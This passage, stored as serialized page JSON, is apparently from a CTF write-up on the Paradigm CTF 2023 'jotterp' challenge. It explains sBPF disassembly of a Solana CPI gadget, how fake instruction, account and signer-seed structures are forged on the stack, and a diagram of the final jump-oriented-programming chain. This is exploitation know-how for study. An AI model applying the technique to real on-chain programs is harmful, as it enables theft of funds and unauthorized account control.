stxw",{"type":21,"tag":85,"props":44953,"children":44954},{"style":114},[44955],{"type":26,"value":23461},{"type":21,"tag":85,"props":44957,"children":44958},{"style":120},[44959],{"type":26,"value":44960},"r2",{"type":21,"tag":85,"props":44962,"children":44963},{"style":169},[44964],{"type":26,"value":5097},{"type":21,"tag":85,"props":44966,"children":44967},{"style":2285},[44968],{"type":26,"value":4789},{"type":21,"tag":85,"props":44970,"children":44971},{"style":114},[44972],{"type":26,"value":23489},{"type":21,"tag":85,"props":44974,"children":44975},{"style":120},[44976],{"type":26,"value":44977},"r1",{"type":21,"tag":85,"props":44979,"children":44980},{"style":114},[44981],{"type":26,"value":44982},"  {",{"type":21,"tag":85,"props":44984,"children":44985},{"style":2285},[44986],{"type":26,"value":44987},"0x18",{"type":21,"tag":85,"props":44989,"children":44990},{"style":114},[44991],{"type":26,"value":2671},{"type":21,"tag":85,"props":44993,"children":44994},{"class":87,"line":1386},[44995,45000,45005,45010,45014,45018,45022],{"type":21,"tag":85,"props":44996,"children":44997},{"style":120},[44998],{"type":26,"value":44999},"100001bf0",{"type":21,"tag":85,"props":45001,"children":45002},{"style":2285},[45003],{"type":26,"value":45004},"  0500030000000000",{"type":21,"tag":85,"props":45006,"children":45007},{"style":120},[45008],{"type":26,"value":45009},"   ja",{"type":21,"tag":85,"props":45011,"children":45012},{"style":114},[45013],{"type":26,"value":3085},{"type":21,"tag":85,"props":45015,"children":45016},{"style":169},[45017],{"type":26,"value":5151},{"type":21,"tag":85,"props":45019,"children":45020},{"style":2285},[45021],{"type":26,"value":17718},{"type":21,"tag":85,"props":45023,"children":45024},{"style":114},[45025],{"type":26,"value":313},{"type":21,"tag":85,"props":45027,"children":45028},{"class":87,"line":1394},[45029],{"type":21,"tag":85,"props":45030,"children":45031},{"emptyLinePlaceholder":16},[45032],{"type":26,"value":703},{"type":21,"tag":85,"props":45034,"children":45035},{"class":87,"line":1402},[45036,45041,45046,45050,45054,45058,45062,45066,45070,45074,45078],{"type":21,"tag":85,"props":45037,"children":45038},{"style":120},[45039],{"type":26,"value":45040},"100001bf8",{"type":21,"tag":85,"props":45042,"children":45043},{"style":120},[45044],{"type":26,"value":45045},"  79a188ff00000000",{"type":21,"tag":85,"props":45047,"children":45048},{"style":120},[45049],{"type":26,"value":44579},{"type":21,"tag":85,"props":45051,"children":45052},{"style":120},[45053],{"type":26,"value":44873},{"type":21,"tag":85,"props":45055,"children":45056},{"style":114},[45057],{"type":26,"value":44589},{"type":21,"tag":85,"props":45059,"children":45060},{"style":120},[45061],{"type":26,"value":44594},{"type":21,"tag":85,"props":45063,"children":45064},{"style":169},[45065],{"type":26,"value":5097},{"type":21,"tag":85,"props":45067,"children":45068},{"style":2285},[45069],{"type":26,"value":44920},{"type":21,"tag":85,"props":45071,"children":45072},{"style":114},[45073],{"type":26,"value":44608},{"type":21,"tag":85,"props":45075,"children":45076},{"style":120},[45077],{"type":26,"value":44929},{"type":21,"tag":85,"props":45079,"children":45080},{"style":114},[45081],{"type":26,"value":2671},{"type":21,"tag":85,"props":45083,"children":45084},{"class":87,"line":3145},[45085,45090,45095,45099,45103,45107],{"type":21,"tag":85,"props":45086,"children":45087},{"style":120},[45088],{"type":26,"value":45089},"100001c00",{"type":21,"tag":85,"props":45091,"children":45092},{"style":120},[45093],{"type":26,"value":45094},"  bf02000000000000",{"type":21,"tag":85,"props":45096,"children":45097},{"style":120},[45098],{"type":26,"value":44868},{"type":21,"tag":85,"props":45100,"children":45101},{"style":120},[45102],{"type":26,"value":44584},{"type":21,"tag":85,"props":45104,"children":45105},{"style":114},[45106],{"type":26,"value":256},{"type":21,"tag":85,"props":45108,"children":45109},{"style":120},[45110],{"type":26,"value":45111},"r0\n",{"type":21,"tag":85,"props":45113,"children":45114},{"class":87,"line":3246},[45115,45120,45125,45129,45134,45138,45143,45147,45151,45156,45160,45164,45169,45174,45178,45182],{"type":21,"tag":85,"props":45116,"children":45117},{"style":120},[45118],{"type":26,"value":45119},"100001c08",{"type":21,"tag":85,"props":45121,"children":45122},{"style":2285},[45123],{"type":26,"value":45124},"  8510000075000000",{"type":21,"tag":85,"props":45126,"children":45127},{"style":120},[45128],{"type":26,"value":44790},{"type":21,"tag":85,"props":45130,"children":45131},{"style":108},[45132],{"type":26,"value":45133}," _ZN94_",{"type":21,"tag":85,"props":45135,"children":45136},{"style":169},[45137],{"type":26,"value":10703},{"type":21,"tag":85,"props":45139,"children":45140},{"style":108},[45141],{"type":26,"value":45142},"LT",{"type":21,"tag":85,"props":45144,"children":45145},{"style":169},[45146],{"type":26,"value":10703},{"type":21,"tag":85,"props":45148,"children":45149},{"style":120},[45150],{"type":26,"value":14071},{"type":21,"tag":85,"props":45152,"children":45153},{"style":169},[45154],{"type":26,"value":45155},"...$",{"type":21,"tag":85,"props":45157,"children":45158},{"style":120},[45159],{"type":26,"value":2396},{"type":21,"tag":85,"props":45161,"children":45162},{"style":169},[45163],{"type":26,"value":10703},{"type":21,"tag":85,"props":45165,"children":45166},{"style":108},[45167],{"type":26,"value":45168},"GT",{"type":21,"tag":85,"props":45170,"children":45171},{"style":169},[45172],{"type":26,"value":45173},"$$",{"type":21,"tag":85,"props":45175,"children":45176},{"style":108},[45177],{"type":26,"value":45168},{"type":21,"tag":85,"props":45179,"children":45180},{"style":169},[45181],{"type":26,"value":10703},{"type":21,"tag":85,"props":45183,"children":45184},{"style":114},[45185],{"type":26,"value":45186},"4from17ha0d289b72861b06dE\n",{"type":21,"tag":85,"props":45188,"children":45189},{"class":87,"line":3255},[45190],{"type":21,"tag":85,"props":45191,"children":45192},{"emptyLinePlaceholder":16},[45193],{"type":26,"value":703},{"type":21,"tag":85,"props":45195,"children":45196},{"class":87,"line":3286},[45197,45202,45207,45211,45215,45219,45223,45227,45232,45236,45241],{"type":21,"tag":85,"props":45198,"children":45199},{"style":120},[45200],{"type":26,"value":45201},"100001c10",{"type":21,"tag":85,"props":45203,"children":45204},{"style":120},[45205],{"type":26,"value":45206},"  79a2b8ff00000000",{"type":21,"tag":85,"props":45208,"children":45209},{"style":120},[45210],{"type":26,"value":44579},{"type":21,"tag":85,"props":45212,"children":45213},{"style":120},[45214],{"type":26,"value":44584},{"type":21,"tag":85,"props":45216,"children":45217},{"style":114},[45218],{"type":26,"value":44589},{"type":21,"tag":85,"props":45220,"children":45221},{"style":120},[45222],{"type":26,"value":44594},{"type":21,"tag":85,"props":45224,"children":45225},{"style":169},[45226],{"type":26,"value":5097},{"type":21,"tag":85,"props":45228,"children":45229},{"style":2285},[45230],{"type":26,"value":45231},"72",{"type":21,"tag":85,"props":45233,"children":45234},{"style":114},[45235],{"type":26,"value":44608},{"type":21,"tag":85,"props":45237,"children":45238},{"style":120},[45239],{"type":26,"value":45240},"var_48",{"type":21,"tag":85,"props":45242,"children":45243},{"style":114},[45244],{"type":26,"value":2671},{"type":21,"tag":85,"props":45246,"children":45247},{"class":87,"line":3295},[45248,45253,45258,45263,45267,45271,45275,45279,45283,45287],{"type":21,"tag":85,"props":45249,"children":45250},{"style":120},[45251],{"type":26,"value":45252},"100001c18",{"type":21,"tag":85,"props":45254,"children":45255},{"style":2285},[45256],{"type":26,"value":45257},"  1502040000000000",{"type":21,"tag":85,"props":45259,"children":45260},{"style":120},[45261],{"type":26,"value":45262},"   jeq",{"type":21,"tag":85,"props":45264,"children":45265},{"style":114},[45266],{"type":26,"value":3085},{"type":21,"tag":85,"props":45268,"children":45269},{"style":169},[45270],{"type":26,"value":5151},{"type":21,"tag":85,"props":45272,"children":45273},{"style":2285},[45274],{"type":26,"value":17951},{"type":21,"tag":85,"props":45276,"children":45277},{"style":114},[45278],{"type":26,"value":133},{"type":21,"tag":85,"props":45280,"children":45281},{"style":120},[45282],{"type":26,"value":44960},{"type":21,"tag":85,"props":45284,"children":45285},{"style":114},[45286],{"type":26,"value":256},{"type":21,"tag":85,"props":45288,"children":45289},{"style":2285},[45290],{"type":26,"value":44843},{"type":21,"tag":85,"props":45292,"children":45293},{"class":87,"line":3308},[45294],{"type":21,"tag":85,"props":45295,"children":45296},{"emptyLinePlaceholder":16},[45297],{"type":26,"value":703},{"type":21,"tag":85,"props":45299,"children":45300},{"class":87,"line":3333},[45301,45306,45311,45316,45320,45324],{"type":21,"tag":85,"props":45302,"children":45303},{"style":120},[45304],{"type":26,"value":45305},"100001c20",{"type":21,"tag":85,"props":45307,"children":45308},{"style":2285},[45309],{"type":26,"value":45310},"  2702000022000000",{"type":21,"tag":85,"props":45312,"children":45313},{"style":120},[45314],{"type":26,"value":45315},"   mul",{"type":21,"tag":85,"props":45317,"children":45318},{"style":120},[45319],{"type":26,"value":44584},{"type":21,"tag":85,"props":45321,"children":45322},{"style":114},[45323],{"type":26,"value":256},{"type":21,"tag":85,"props":45325,"children":45326},{"style":2285},[45327],{"type":26,"value":45328},"0x22\n",{"type":21,"tag":85,"props":45330,"children":45331},{"class":87,"line":3369},[45332,45337,45342,45346,45350,45354,45358,45362,45367,45371,45376],{"type":21,"tag":85,"props":45333,"children":45334},{"style":120},[45335],{"type":26,"value":45336},"100001c28",{"type":21,"tag":85,"props":45338,"children":45339},{"style":120},[45340],{"type":26,"value":45341},"  79a1b0ff00000000",{"type":21,"tag":85,"props":45343,"children":45344},{"style":120},[45345],{"type":26,"value":44579},{"type":21,"tag":85,"props":45347,"children":45348},{"style":120},[45349],{"type":26,"value":44873},{"type":21,"tag":85,"props":45351,"children":45352},{"style":114},[45353],{"type":26,"value":44589},{"type":21,"tag":85,"props":45355,"children":45356},{"style":120},[45357],{"type":26,"value":44594},{"type":21,"tag":85,"props":45359,"children":45360},{"style":169},[45361],{"type":26,"value":5097},{"type":21,"tag":85,"props":45363,"children":45364},{"style":2285},[45365],{"type":26,"value":45366},"80",{"type":21,"tag":85,"props":45368,"children":45369},{"style":114},[45370],{"type":26,"value":44608},{"type":21,"tag":85,"props":45372,"children":45373},{"style":120},[45374],{"type":26,"value":45375},"var_50",{"type":21,"tag":85,"props":45377,"children":45378},{"style":114},[45379],{"type":26,"value":2671},{"type":21,"tag":85,"props":45381,"children":45382},{"class":87,"line":3377},[45383,45388,45393,45397,45401,45405],{"type":21,"tag":85,"props":45384,"children":45385},{"style":120},[45386],{"type":26,"value":45387},"100001c30",{"type":21,"tag":85,"props":45389,"children":45390},{"style":120},[45391],{"type":26,"value":45392},"  b703000001000000",{"type":21,"tag":85,"props":45394,"children":45395},{"style":120},[45396],{"type":26,"value":44868},{"type":21,"tag":85,"props":45398,"children":45399},{"style":120},[45400],{"type":26,"value":44639},{"type":21,"tag":85,"props":45402,"children":45403},{"style":114},[45404],{"type":26,"value":256},{"type":21,"tag":85,"props":45406,"children":45407},{"style":2285},[45408],{"type":26,"value":45409},"0x1\n",{"type":21,"tag":85,"props":45411,"children":45412},{"class":87,"line":3386},[45413,45418,45423,45427],{"type":21,"tag":85,"props":45414,"children":45415},{"style":120},[45416],{"type":26,"value":45417},"100001c38",{"type":21,"tag":85,"props":45419,"children":45420},{"style":120},[45421],{"type":26,"value":45422},"  8510000003feffff",{"type":21,"tag":85,"props":45424,"children":45425},{"style":120},[45426],{"type":26,"value":44790},{"type":21,"tag":85,"props":45428,"children":45429},{"style":120},[45430],{"type":26,"value":45431}," __rust_dealloc\n",{"type":21,"tag":85,"props":45433,"children":45434},{"class":87,"line":3394},[45435],{"type":21,"tag":85,"props":45436,"children":45437},{"emptyLinePlaceholder":16},[45438],{"type":26,"value":703},{"type":21,"tag":85,"props":45440,"children":45441},{"class":87,"line":3410},[45442,45447,45452,45456,45460,45464,45468,45472,45477,45481,45486],{"type":21,"tag":85,"props":45443,"children":45444},{"style":120},[45445],{"type":26,"value":45446},"100001c40",{"type":21,"tag":85,"props":45448,"children":45449},{"style":120},[45450],{"type":26,"value":45451},"  79a2d0ff00000000",{"type":21,"tag":85,"props":45453,"children":45454},{"style":120},[45455],{"type":26,"value":44579},{"type":21,"tag":85,"props":45457,"children":45458},{"style":120},[45459],{"type":26,"value":44584},{"type":21,"tag":85,"props":45461,"children":45462},{"style":114},[45463],{"type":26,"value":44589},{"type":21,"tag":85,"props":45465,"children":45466},{"style":120},[45467],{"type":26,"value":44594},{"type":21,"tag":85,"props":45469,"children":45470},{"style":169},[45471],{"type":26,"value":5097},{"type":21,"tag":85,"props":45473,"children":45474},{"style":2285},[45475],{"type":26,"value":45476},"48",{"type":21,"tag":85,"props":45478,"children":45479},{"style":114},[45480],{"type":26,"value":44608},{"type":21,"tag":85,"props":45482,"children":45483},{"style":120},[45484],{"type":26,"value":45485},"var_30",{"type":21,"tag":85,"props":45487,"children":45488},{"style":114},[45489],{"type":26,"value":2671},{"type":21,"tag":85,"props":45491,"children":45492},{"class":87,"line":3427},[45493,45498,45503,45507,45511,45515,45519,45523,45527,45531],{"type":21,"tag":85,"props":45494,"children":45495},{"style":120},[45496],{"type":26,"value":45497},"100001c48",{"type":21,"tag":85,"props":45499,"children":45500},{"style":2285},[45501],{"type":26,"value":45502},"  1502030000000000",{"type":21,"tag":85,"props":45504,"children":45505},{"style":120},[45506],{"type":26,"value":45262},{"type":21,"tag":85,"props":45508,"children":45509},{"style":114},[45510],{"type":26,"value":3085},{"type":21,"tag":85,"props":45512,"children":45513},{"style":169},[45514],{"type":26,"value":5151},{"type":21,"tag":85,"props":45516,"children":45517},{"style":2285},[45518],{"type":26,"value":17718},{"type":21,"tag":85,"props":45520,"children":45521},{"style":114},[45522],{"type":26,"value":133},{"type":21,"tag":85,"props":45524,"children":45525},{"style":120},[45526],{"type":26,"value":44960},{"type":21,"tag":85,"props":45528,"children":45529},{"style":114},[45530],{"type":26,"value":256},{"type":21,"tag":85,"props":45532,"children":45533},{"style":2285},[45534],{"type":26,"value":44843},{"type":21,"tag":85,"props":45536,"children":45537},{"class":87,"line":3445},[45538],{"type":21,"tag":85,"props":45539,"children":45540},{"emptyLinePlaceholder":16},[45541],{"type":26,"value":703},{"type":21,"tag":85,"props":45543,"children":45544},{"class":87,"line":3490},[45545,45550,45555,45559,45563,45567,45571,45575,45580,45584,45589],{"type":21,"tag":85,"props":45546,"children":45547},{"style":120},[45548],{"type":26,"value":45549},"100001c50",{"type":21,"tag":85,"props":45551,"children":45552},{"style":120},[45553],{"type":26,"value":45554},"  79a1c8ff00000000",{"type":21,"tag":85,"props":45556,"children":45557},{"style":120},[45558],{"type":26,"value":44579},{"type":21,"tag":85,"props":45560,"children":45561},{"style":120},[45562],{"type":26,"value":44873},{"type":21,"tag":85,"props":45564,"children":45565},{"style":114},[45566],{"type":26,"value":44589},{"type":21,"tag":85,"props":45568,"children":45569},{"style":120},[45570],{"type":26,"value":44594},{"type":21,"tag":85,"props":45572,"children":45573},{"style":169},[45574],{"type":26,"value":5097},{"type":21,"tag":85,"props":45576,"children":45577},{"style":2285},[45578],{"type":26,"value":45579},"56",{"type":21,"tag":85,"props":45581,"children":45582},{"style":114},[45583],{"type":26,"value":44608},{"type":21,"tag":85,"props":45585,"children":45586},{"style":120},[45587],{"type":26,"value":45588},"var_38",{"type":21,"tag":85,"props":45590,"children":45591},{"style":114},[45592],{"type":26,"value":2671},{"type":21,"tag":85,"props":45594,"children":45595},{"class":87,"line":3596},[45596,45601,45605,45609,45613,45617],{"type":21,"tag":85,"props":45597,"children":45598},{"style":120},[45599],{"type":26,"value":45600},"100001c58",{"type":21,"tag":85,"props":45602,"children":45603},{"style":120},[45604],{"type":26,"value":45392},{"type":21,"tag":85,"props":45606,"children":45607},{"style":120},[45608],{"type":26,"value":44868},{"type":21,"tag":85,"props":45610,"children":45611},{"style":120},[45612],{"type":26,"value":44639},{"type":21,"tag":85,"props":45614,"children":45615},{"style":114},[45616],{"type":26,"value":256},{"type":21,"tag":85,"props":45618,"children":45619},{"style":2285},[45620],{"type":26,"value":45409},{"type":21,"tag":85,"props":45622,"children":45623},{"class":87,"line":23938},[45624,45629,45634,45638],{"type":21,"tag":85,"props":45625,"children":45626},{"style":120},[45627],{"type":26,"value":45628},"100001c60",{"type":21,"tag":85,"props":45630,"children":45631},{"style":120},[45632],{"type":26,"value":45633},"  85100000fefdffff",{"type":21,"tag":85,"props":45635,"children":45636},{"style":120},[45637],{"type":26,"value":44790},{"type":21,"tag":85,"props":45639,"children":45640},{"style":120},[45641],{"type":26,"value":45431},{"type":21,"tag":85,"props":45643,"children":45644},{"class":87,"line":23973},[45645],{"type":21,"tag":85,"props":45646,"children":45647},{"emptyLinePlaceholder":16},[45648],{"type":26,"value":703},{"type":21,"tag":85,"props":45650,"children":45651},{"class":87,"line":23981},[45652,45657,45662,45667,45672,45677],{"type":21,"tag":85,"props":45653,"children":45654},{"style":120},[45655],{"type":26,"value":45656},"100001c68",{"type":21,"tag":85,"props":45658,"children":45659},{"style":2285},[45660],{"type":26,"value":45661},"  9500000000000000",{"type":21,"tag":85,"props":45663,"children":45664},{"style":120},[45665],{"type":26,"value":45666},"   exit",{"type":21,"tag":85,"props":45668,"children":45669},{"style":114},[45670],{"type":26,"value":45671}," {",{"type":21,"tag":85,"props":45673,"children":45674},{"style":120},[45675],{"type":26,"value":45676},"__return_addr",{"type":21,"tag":85,"props":45678,"children":45679},{"style":114},[45680],{"type":26,"value":2671},{"type":21,"tag":22,"props":45682,"children":45683},{},[45684,45686,45692],{"type":26,"value":45685},"Which, assuming that ",{"type":21,"tag":66,"props":45687,"children":45689},{"className":45688},[],[45690],{"type":26,"value":45691},"sol_invoke_signed_rust",{"type":26,"value":45693}," returns 0, is doing the following:",{"type":21,"tag":841,"props":45695,"children":45696},{},[45697,45706,45715],{"type":21,"tag":845,"props":45698,"children":45699},{},[45700],{"type":21,"tag":66,"props":45701,"children":45703},{"className":45702},[],[45704],{"type":26,"value":45705},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":21,"tag":845,"props":45707,"children":45708},{},[45709],{"type":21,"tag":66,"props":45710,"children":45712},{"className":45711},[],[45713],{"type":26,"value":45714},"*[r10-120] = 0x18",{"type":21,"tag":845,"props":45716,"children":45717},{},[45718,45720,45726,45728,45735],{"type":26,"value":45719},"Calls ",{"type":21,"tag":66,"props":45721,"children":45723},{"className":45722},[],[45724],{"type":26,"value":45725},"__rust_dealloc",{"type":26,"value":45727},", which in default circumstances is a ",{"type":21,"tag":335,"props":45729,"children":45732},{"href":45730,"rel":45731},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[339],[45733],{"type":26,"value":45734},"NOP",{"type":26,"value":73},{"type":21,"tag":22,"props":45737,"children":45738},{},[45739],{"type":26,"value":45740},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":21,"tag":22,"props":45742,"children":45743},{},[45744],{"type":26,"value":45745},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":21,"tag":22,"props":45747,"children":45748},{},[45749,45751,45758],{"type":26,"value":45750},"Looking at the ",{"type":21,"tag":335,"props":45752,"children":45755},{"href":45753,"rel":45754},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[339],[45756],{"type":26,"value":45757},"definition",{"type":26,"value":45759},", it's not crystal clear what the parameters are:",{"type":21,"tag":75,"props":45761,"children":45763},{"className":77,"code":45762,"language":79,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[45764],{"type":21,"tag":66,"props":45765,"children":45766},{"__ignoreMap":7},[45767],{"type":21,"tag":85,"props":45768,"children":45769},{"class":87,"line":88},[45770,45774,45779,45783,45788,45792,45796,45800,45804,45808,45813,45817,45821,45825,45829,45833,45838,45842,45846,45850,45855,45859,45863,45867,45871,45875,45880,45884,45888,45892,45896],{"type":21,"tag":85,"props":45771,"children":45772},{"style":102},[45773],{"type":26,"value":20694},{"type":21,"tag":85,"props":45775,"children":45776},{"style":1021},[45777],{"type":26,"value":45778}," sol_invoke_signed_rust",{"type":21,"tag":85,"props":45780,"children":45781},{"style":114},[45782],{"type":26,"value":1439},{"type":21,"tag":85,"props":45784,"children":45785},{"style":120},[45786],{"type":26,"value":45787},"instruction_addr",{"type":21,"tag":85,"props":45789,"children":45790},{"style":169},[45791],{"type":26,"value":172},{"type":21,"tag":85,"props":45793,"children":45794},{"style":169},[45795],{"type":26,"value":10231},{"type":21,"tag":85,"props":45797,"children":45798},{"style":102},[45799],{"type":26,"value":10069},{"type":21,"tag":85,"props":45801,"children":45802},{"style":108},[45803],{"type":26,"value":15052},{"type":21,"tag":85,"props":45805,"children":45806},{"style":114},[45807],{"type":26,"value":256},{"type":21,"tag":85,"props":45809,"children":45810},{"style":120},[45811],{"type":26,"value":45812},"account_infos_addr",{"type":21,"tag":85,"props":45814,"children":45815},{"style":169},[45816],{"type":26,"value":172},{"type":21,"tag":85,"props":45818,"children":45819},{"style":169},[45820],{"type":26,"value":10231},{"type":21,"tag":85,"props":45822,"children":45823},{"style":102},[45824],{"type":26,"value":10069},{"type":21,"tag":85,"props":45826,"children":45827},{"style":108},[45828],{"type":26,"value":15052},{"type":21,"tag":85,"props":45830,"children":45831},{"style":114},[45832],{"type":26,"value":256},{"type":21,"tag":85,"props":45834,"children":45835},{"style":120},[45836],{"type":26,"value":45837},"account_infos_len",{"type":21,"tag":85,"props":45839,"children":45840},{"style":169},[45841],{"type":26,"value":172},{"type":21,"tag":85,"props":45843,"children":45844},{"style":108},[45845],{"type":26,"value":177},{"type":21,"tag":85,"props":45847,"children":45848},{"style":114},[45849],{"type":26,"value":256},{"type":21,"tag":85,"props":45851,"children":45852},{"style":120},[45853],{"type":26,"value":45854},"signers_seeds_addr",{"type":21,"tag":85,"props":45856,"children":45857},{"style":169},[45858],{"type":26,"value":172},{"type":21,"tag":85,"props":45860,"children":45861},{"style":169},[45862],{"type":26,"value":10231},{"type":21,"tag":85,"props":45864,"children":45865},{"style":102},[45866],{"type":26,"value":10069},{"type":21,"tag":85,"props":45868,"children":45869},{"style":108},[45870],{"type":26,"value":15052},{"type":21,"tag":85,"props":45872,"children":45873},{"style":114},[45874],{"type":26,"value":256},{"type":21,"tag":85,"props":45876,"children":45877},{"style":120},[45878],{"type":26,"value":45879},"signers_seeds_len",{"type":21,"tag":85,"props":45881,"children":45882},{"style":169},[45883],{"type":26,"value":172},{"type":21,"tag":85,"props":45885,"children":45886},{"style":108},[45887],{"type":26,"value":177},{"type":21,"tag":85,"props":45889,"children":45890},{"style":114},[45891],{"type":26,"value":736},{"type":21,"tag":85,"props":45893,"children":45894},{"style":169},[45895],{"type":26,"value":14175},{"type":21,"tag":85,"props":45897,"children":45898},{"style":108},[45899],{"type":26,"value":13614},{"type":21,"tag":22,"props":45901,"children":45902},{},[45903,45905,45910,45912,45919],{"type":26,"value":45904},"The source of ",{"type":21,"tag":335,"props":45906,"children":45908},{"href":45907},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[45909],{"type":26,"value":44520},{"type":26,"value":45911}," helps a lot, but looking at the actual ",{"type":21,"tag":335,"props":45913,"children":45916},{"href":45914,"rel":45915},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[339],[45917],{"type":26,"value":45918},"implementation",{"type":26,"value":45920}," provides more clarity:",{"type":21,"tag":17108,"props":45922,"children":45923},{},[45924],{"type":21,"tag":845,"props":45925,"children":45926},{},[45927,45932,45934,45941],{"type":21,"tag":66,"props":45928,"children":45930},{"className":45929},[],[45931],{"type":26,"value":45787},{"type":26,"value":45933}," points to a ",{"type":21,"tag":335,"props":45935,"children":45938},{"href":45936,"rel":45937},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[339],[45939],{"type":26,"value":45940},"StableInstruction",{"type":26,"value":172},{"type":21,"tag":22,"props":45943,"children":45944},{},[45945],{"type":21,"tag":4681,"props":45946,"children":45948},{"alt":45940,"src":45947},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":21,"tag":17108,"props":45950,"children":45951},{},[45952,45977],{"type":21,"tag":845,"props":45953,"children":45954},{},[45955,45960,45962,45967,45969,45976],{"type":21,"tag":66,"props":45956,"children":45958},{"className":45957},[],[45959],{"type":26,"value":45812},{"type":26,"value":45961}," points to a slice of ",{"type":21,"tag":66,"props":45963,"children":45965},{"className":45964},[],[45966],{"type":26,"value":45837},{"type":26,"value":45968},"  ",{"type":21,"tag":335,"props":45970,"children":45973},{"href":45971,"rel":45972},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[339],[45974],{"type":26,"value":45975},"AccountInfos",{"type":26,"value":73},{"type":21,"tag":845,"props":45978,"children":45979},{},[45980,45985,45987,45992,45994,45999],{"type":21,"tag":66,"props":45981,"children":45983},{"className":45982},[],[45984],{"type":26,"value":45854},{"type":26,"value":45986}," is a bit trickier, it points to a slice of length ",{"type":21,"tag":66,"props":45988,"children":45990},{"className":45989},[],[45991],{"type":26,"value":45879},{"type":26,"value":45993},", containing slices of ",{"type":21,"tag":66,"props":45995,"children":45997},{"className":45996},[],[45998],{"type":26,"value":4190},{"type":26,"value":73},{"type":21,"tag":22,"props":46001,"children":46002},{},[46003],{"type":21,"tag":4681,"props":46004,"children":46007},{"alt":46005,"src":46006},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":21,"tag":22,"props":46009,"children":46010},{},[46011,46013,46018],{"type":26,"value":46012},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":21,"tag":39,"props":46014,"children":46015},{},[46016],{"type":26,"value":46017},"future call frames",{"type":26,"value":73},{"type":21,"tag":22,"props":46020,"children":46021},{},[46022,46024,46031],{"type":26,"value":46023},"Now that we have all the parts, all we need is to string it together. The full ",{"type":21,"tag":335,"props":46025,"children":46028},{"href":46026,"rel":46027},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[339],[46029],{"type":26,"value":46030},"reference solution can be found here",{"type":26,"value":73},{"type":21,"tag":22,"props":46033,"children":46034},{},[46035],{"type":26,"value":46036},"Here's a visualization of the final JOP chain.",{"type":21,"tag":75,"props":46038,"children":46040},{"className":44402,"code":46039,"language":44404,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[46041],{"type":21,"tag":66,"props":46042,"children":46043},{"__ignoreMap":7},[46044,46052,46059,46066,46074,46081,46089,46097,46105,46113,46121,46129,46137,46145,46153],{"type":21,"tag":85,"props":46045,"children":46046},{"class":87,"line":88},[46047],{"type":21,"tag":85,"props":46048,"children":46049},{},[46050],{"type":26,"value":46051},"graph BT\n",{"type":21,"tag":85,"props":46053,"children":46054},{"class":87,"line":98},[46055],{"type":21,"tag":85,"props":46056,"children":46057},{},[46058],{"type":26,"value":44424},{"type":21,"tag":85,"props":46060,"children":46061},{"class":87,"line":151},[46062],{"type":21,"tag":85,"props":46063,"children":46064},{},[46065],{"type":26,"value":44432},{"type":21,"tag":85,"props":46067,"children":46068},{"class":87,"line":160},[46069],{"type":21,"tag":85,"props":46070,"children":46071},{},[46072],{"type":26,"value":46073},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":21,"tag":85,"props":46075,"children":46076},{"class":87,"line":185},[46077],{"type":21,"tag":85,"props":46078,"children":46079},{},[46080],{"type":26,"value":44448},{"type":21,"tag":85,"props":46082,"children":46083},{"class":87,"line":501},[46084],{"type":21,"tag":85,"props":46085,"children":46086},{},[46087],{"type":26,"value":46088},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":21,"tag":85,"props":46090,"children":46091},{"class":87,"line":697},[46092],{"type":21,"tag":85,"props":46093,"children":46094},{},[46095],{"type":26,"value":46096},"    E --> G[4: process]\n",{"type":21,"tag":85,"props":46098,"children":46099},{"class":87,"line":706},[46100],{"type":21,"tag":85,"props":46101,"children":46102},{},[46103],{"type":26,"value":46104},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":21,"tag":85,"props":46106,"children":46107},{"class":87,"line":1100},[46108],{"type":21,"tag":85,"props":46109,"children":46110},{},[46111],{"type":26,"value":46112},"    G --> I[5: process]\n",{"type":21,"tag":85,"props":46114,"children":46115},{"class":87,"line":1339},[46116],{"type":21,"tag":85,"props":46117,"children":46118},{},[46119],{"type":26,"value":46120},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":21,"tag":85,"props":46122,"children":46123},{"class":87,"line":1348},[46124],{"type":21,"tag":85,"props":46125,"children":46126},{},[46127],{"type":26,"value":46128},"    I --> K[6: process]\n",{"type":21,"tag":85,"props":46130,"children":46131},{"class":87,"line":1386},[46132],{"type":21,"tag":85,"props":46133,"children":46134},{},[46135],{"type":26,"value":46136},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":21,"tag":85,"props":46138,"children":46139},{"class":87,"line":1394},[46140],{"type":21,"tag":85,"props":46141,"children":46142},{},[46143],{"type":26,"value":46144},"    K --> N[7: 